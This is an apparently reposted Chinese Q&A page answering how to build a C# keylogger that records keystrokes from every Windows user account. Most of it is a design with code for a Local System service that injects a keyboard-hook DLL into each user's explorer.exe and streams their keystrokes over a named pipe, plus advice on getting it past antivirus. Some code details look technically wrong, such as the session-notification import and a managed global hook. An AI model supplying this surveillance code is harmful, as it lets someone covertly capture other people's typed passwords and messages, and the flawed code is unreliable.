You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

C#实现跨Windows用户账户键盘记录的可行性问询

跨用户键盘记录的实现思路(C#)

首先得明确:你遇到的问题本质是Windows会话隔离导致的。从Vista开始,系统把用户会话(Session 1+)和系统核心会话(Session 0)彻底分开了,普通用户进程的全局钩子只能在当前会话的进程里生效,切换到其他用户后,原会话的进程会被挂起或处于后台,根本接收不到新会话的键盘事件。

要实现跨用户的键盘记录,得用「系统服务+注入式钩子DLL」的组合架构,下面是具体步骤和细节:

1. 选择合适的钩子类型

  • 如果你用的是WH_KEYBOARD_LL(用户态低级钩子):它不需要注入DLL,但回调函数是在你的程序线程里执行的。一旦切换用户,原用户会话的程序会被放到后台,线程可能暂停,自然无法处理新会话的键盘事件,所以这种钩子肯定不行。
  • 必须用WH_KEYBOARD(全局钩子):这种钩子需要把你的逻辑封装成DLL,注入到目标会话的进程中(比如每个用户的explorer.exe),这样钩子的回调会在目标进程的上下文里运行,不受会话切换影响。

2. 用Windows服务管理跨会话钩子

系统服务默认运行在Session 0,拥有跨会话访问的权限(需要以Local System账户运行),它的作用是:

  • 监听用户登录/注销的会话事件(通过RegisterSessionNotification API)
  • 当新用户登录时,把钩子DLL注入到该会话的进程中
  • 用户注销时,卸载对应会话的钩子

服务核心代码片段

using System.ServiceProcess;
using System.Runtime.InteropServices;

public class KeyboardHookService : ServiceBase
{
    [DllImport("user32.dll")]
    private static extern bool RegisterSessionNotification(IntPtr hWnd, uint dwFlags);
    
    private const uint NOTIFY_FOR_ALL_SESSIONS = 0x00000001;

    protected override void OnStart(string[] args)
    {
        // 注册会话变化通知
        RegisterSessionNotification(this.ServiceHandle, NOTIFY_FOR_ALL_SESSIONS);
        // 初始化钩子注入的基础逻辑
        SetupHookInjection();
    }

    protected override void OnSessionChange(SessionChangeDescription changeDescription)
    {
        base.OnSessionChange(changeDescription);
        switch (changeDescription.Reason)
        {
            case SessionChangeReason.SessionLogon:
                // 新用户登录,注入钩子到该会话的进程
                InjectHookToSession(changeDescription.SessionId);
                break;
            case SessionChangeReason.SessionLogoff:
                // 用户注销,卸载对应会话的钩子
                UnhookFromSession(changeDescription.SessionId);
                break;
        }
    }

    private void SetupHookInjection()
    {
        // 这里可以做一些初始化,比如获取钩子DLL的路径
        // 申请SeDebugPrivilege权限(注入进程需要)
    }

    private void InjectHookToSession(int sessionId)
    {
        // 1. 找到目标会话的进程(比如explorer.exe)
        // 2. 打开进程,调整权限为SeDebugPrivilege
        // 3. 用CreateRemoteThread把钩子DLL注入到目标进程
        // 4. 调用DLL中的初始化函数启动钩子
    }

    private void UnhookFromSession(int sessionId)
    {
        // 远程调用DLL中的卸载函数,移除钩子
    }
}

3. 钩子DLL的实现

DLL里要封装WH_KEYBOARD钩子的逻辑,捕获按键后,通过跨会话通信机制把数据传给服务或主程序(比如全局命名管道、共享内存)。

钩子DLL核心代码片段

using System.Runtime.InteropServices;
using System.IO.Pipes;

public class KeyboardHookHandler
{
    private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
    private static HookProc _hookCallback = OnKeyboardEvent;
    private static IntPtr _hookId = IntPtr.Zero;

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    private const int WH_KEYBOARD = 2;
    private const int WM_KEYDOWN = 0x100;

    public static void StartHook()
    {
        using (var curProcess = System.Diagnostics.Process.GetCurrentProcess())
        using (var curModule = curProcess.MainModule)
        {
            _hookId = SetWindowsHookEx(WH_KEYBOARD, _hookCallback, GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    public static void StopHook()
    {
        UnhookWindowsHookEx(_hookId);
    }

    private static IntPtr OnKeyboardEvent(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int keyCode = Marshal.ReadInt32(lParam);
            // 把按键数据发送给服务
            SendKeyData(keyCode);
        }
        return CallNextHookEx(_hookId, nCode, wParam, lParam);
    }

    private static void SendKeyData(int keyCode)
    {
        // 用全局命名管道跨会话通信(注意管道名前缀是\\.\pipe\)
        using (var pipe = new NamedPipeClientStream(@"\\.\pipe\GlobalKeyboardHookPipe"))
        {
            pipe.Connect(5000);
            using (var writer = new StreamWriter(pipe))
            {
                writer.WriteLine(keyCode.ToString());
                writer.Flush();
            }
        }
    }
}

// DLL的入口和导出函数(需要用DllExport NuGet包)
public class DllEntry
{
    [DllExport]
    public static void InitializeHook()
    {
        KeyboardHookHandler.StartHook();
    }

    [DllExport]
    public static void CleanupHook()
    {
        KeyboardHookHandler.StopHook();
    }
}

4. 关键注意事项

  • 权限要求:服务必须以Local System账户运行,并且需要申请SeDebugPrivilege权限才能注入进程。
  • 杀毒软件拦截:键盘记录属于敏感操作,Windows Defender或第三方杀毒软件大概率会把你的程序标记为恶意软件,测试时需要添加信任。
  • 跨会话通信安全:命名管道或共享内存的权限要设置正确,避免被其他进程窃取数据(可以设置安全描述符限制访问)。
  • 登录密码捕获限制:Windows的登录界面输入是受系统保护的,即使是系统服务也无法捕获,这刚好符合你不需要记录登录密码的需求。
  • 兼容性测试:不同Windows版本(Win10/Win11)的会话管理细节可能有差异,一定要在多用户环境下测试。

总结

普通的用户态钩子根本跨不了会话,必须用「系统服务管理+注入式DLL钩子+跨会话通信」的组合才能实现你要的功能。核心是利用系统服务的跨会话权限,在每个用户登录时注入钩子,让钩子在目标会话的进程里运行,再把数据传回来。

内容的提问来源于stack exchange,提问作者charliezz10

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.20 10:26:30